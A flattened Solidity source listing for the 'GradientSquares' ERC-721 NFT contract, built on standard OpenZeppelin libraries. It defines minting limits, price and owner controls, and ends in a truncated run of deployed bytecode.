* ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/GradientSquares.sol pragma solidity ^0.8.0; contract GradientSquares is ERC721Enumerable, Ownable { uint256 public constant MAX_NFT_SUPPLY = 2500; uint public constant MAX_PURCHASABLE = 20; uint256 public NFT_PRICE = 50000000000000000; // 0.05 ETH bool public saleStarted = false; string public PROVENANCE_HASH = ""; constructor() ERC721("GradientSquares", "SQUARES") { } function _baseURI() internal view virtual override returns (string memory) { return "https://api.gradientsquares.xyz/"; } function getTokenURI(uint256 tokenId) public view returns (string memory) { return tokenURI(tokenId); } function mint(uint256 amountToMint) public payable { require(saleStarted == true, "This sale has not started."); require(totalSupply() < MAX_NFT_SUPPLY, "All NFTs have been minted."); require(amountToMint > 0, "You must mint at least one Gradient Square."); require(amountToMint <= MAX_PURCHASABLE, "You cannot mint more than 20 Gradient Squares."); require(totalSupply() + amountToMint <= MAX_NFT_SUPPLY, "The amount of Gradient Squares you are trying to mint exceeds the MAX_NFT_SUPPLY."); require(NFT_PRICE * amountToMint == msg.value, "Incorrect Ether value."); for (uint256 i = 0; i < amountToMint; i++) { uint256 mintIndex = totalSupply(); _safeMint(msg.sender, mintIndex); } } function reserveTokens() public onlyOwner { for (uint256 i = 0; i < 200; i++) { uint256 mintIndex = totalSupply(); _safeMint(msg.sender, mintIndex); } } function startSale() public onlyOwner { saleStarted = true; } function pauseSale() public onlyOwner { saleStarted = false; } function setProvenanceHash(string memory _hash) public onlyOwner { PROVENANCE_HASH = _hash; } function withdraw() public payable onlyOwner { require(payable(msg.sender).send(address(this).balance)); } }
0x6080604052600436106101d85760003560e01c80635c474f9e11610102578063a22cb46511610095578063c87b56dd11610064578063c87b56dd14610658578063e985e9c514610695578063f2fde38b146106d2578063ff1b6556146106fb576101d8565b8063a22cb465146105c4578063b5077f44146105ed578063b66a0e5d14610618578063b88d4fde1461062f576101d8565b8063715018a6116100d1578063715018a61461053b5780638da5cb5b1461055257806395d89b411461057d578063a0712d68146105a8576101d8565b80635c474f9e1461046b5780636352211e14610496578063676dd563146104d357806370a08231146104fe576101d8565b806323b872dd1161017a5780633ccfd60b116101495780633ccfd60b146103e457806342842e0e146103ee5780634f6ccce71461041757806355367ba914610454576101d8565b806323b872dd1461032a57806327ac36c4146103535780632f745c591461036a5780633bb3a24d146103a7576101d8565b8063095ea7b3116101b6578063095ea7b31461028257806310969523146102ab578063119e4398146102d457806318160ddd146102ff576101d8565b806301ffc9a7146101dd57806306fdde031461021a578063081812fc14610245575b600080fd5b3480156101e957600080fd5b5061020460048036038101906101ff9190612dc7565b610726565b604051610211919061388a565b60405180910390f35b34801561022657600080fd5b5061022f6107a0565b60405161023c91906138a5565b60405180910390f35b34801561025157600080fd5b5061026c60048036038101906102679190612e5a565b610832565b6040516102799190613823565b60405180910390f35b34801561028e57600080fd5b506102a960048036038101906102a49190612d8b565b6108b7565b005b3480156102b757600080fd5b506102d260048036038101906102cd9190612e19565b6109cf565b005b3480156102e057600080fd5b506102e9610a65565b6040516102f69190613bc7565b60405180910390f35b34801561030b57600080fd5b50610314610a6a565b6040516103219190613bc7565b60405180910390f35b34801561033657600080fd5b50610351600480360381019061034c9190612c85565b610a77565b005b34801561035f57600080fd5b50610368610ad7565b005b34801561037657600080fd5b50610391600480360381019061038c9190612d8b565b610b8c565b60405161039e9190613bc7565b60405180910390f35b3480156103b357600080fd5b506103ce60048036038101906103c99190612e5a565b610c31565b6040516103db91906138a5565b60405180910390f35b6103ec610c43565b005b3480156103fa57600080fd5b5061041560048036038101906104109190612c85565b610cff565b005b34801561042357600080fd5b5061043e60048036038101906104399190612e5a565b610d1f565b60405161044b9190613bc7565b60405180910390f35b34801561046057600080fd5b50610469610db6565b005b34801561047757600080fd5b50610480610e4f565b60405161048d919061388a565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b89190612e5a565b610e62565b6040516104ca9190613823565b60405180910390f35b3480156104df57600080fd5b506104e8610f14565b6040516104f59190613bc7565b60405180910390f35b34801561050a57600080fd5b5061052560048036038101906105209190612c20565b610f1a565b6040516105329190613bc7565b60405180910390f35b34801561054757600080fd5b50610550610fd2565b005b34801561055e57600080fd5b5061056761110f565b6040516105749190613823565b60405180910390f35b34801561058957600080fd5b50610592611139565b60405161059f91906138a5565b60405180910390f35b6105c260048036038101906105bd9190612e5a565b6111cb565b005b3480156105d057600080fd5b506105eb60048036038101906105e69190612d4f565b6113d2565b005b3480156105f957600080fd5b50610602611553565b60405161060f9190613bc7565b60405180910390f35b34801561062457600080fd5b5061062d611559565b005b34801561063b57600080fd5b5061065660048036038101906106519190612cd4565b6115f2565b005b34801561066457600080fd5b5061067f600480360381019061067a9190612e5a565b611654565b60405161068c91906138a5565b60405180910390f35b3480156106a157600080fd5b506106bc60048036038101906106b79190612c49565b6116fb565b6040516106c9919061388a565b60405180910390f35b3480156106de57600080fd5b506106f960048036038101906106f49190612c20565b61178f565b005b34801561070757600080fd5b5061071061193b565b60405161071d91906138a5565b60405180910390f35b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806107995750610798826119c9565b5b9050919050565b6060600080546107af90613e81565b80601f01602080910402602001604051908101604052809291908181526020018280546107db90613e81565b80156108285780601f106107fd57610100808354040283529160200191610828565b820191906000526020600020905b81548152906001019060200180831161080b57829003601f168201915b5050505050905090565b600061083d82611aab565b61087c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087390613aa7565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006108c282610e62565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092a90613b67565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610952611b17565b73ffffffffffffffffffffffffffffffffffffffff16148061098157506109808161097b611b17565b6116fb565b5b6109c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b790613a07565b60405180910390fd5b6109ca8383611b1f565b505050565b6109d7611b17565b73ffffffffffffffffffffffffffffffffffffffff166109f561110f565b73ffffffffffffffffffffffffffffffffffffffff1614610a4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4290613ac7565b60405180910390fd5b80600d9080519060200190610a61929190612a44565b5050565b601481565b6000600880549050905090565b610a88610a82611b17565b82611bd8565b610ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abe90613b87565b60405180910390fd5b610ad2838383611cb6565b505050565b610adf611b17565b73ffffffffffffffffffffffffffffffffffffffff16610afd61110f565b73ffffffffffffffffffffffffffffffffffffffff1614610b53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4a90613ac7565b60405180910390fd5b60005b60c8811015610b89576000610b69610a6a565b9050610b753382611f12565b508080610b8190613eb3565b915050610b56565b50565b6000610b9783610f1a565b8210610bd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcf906138e7565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b6060610c3c82611654565b9050919050565b610c4b611b17565b73ffffffffffffffffffffffffffffffffffffffff16610c6961110f565b73ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb690613ac7565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffff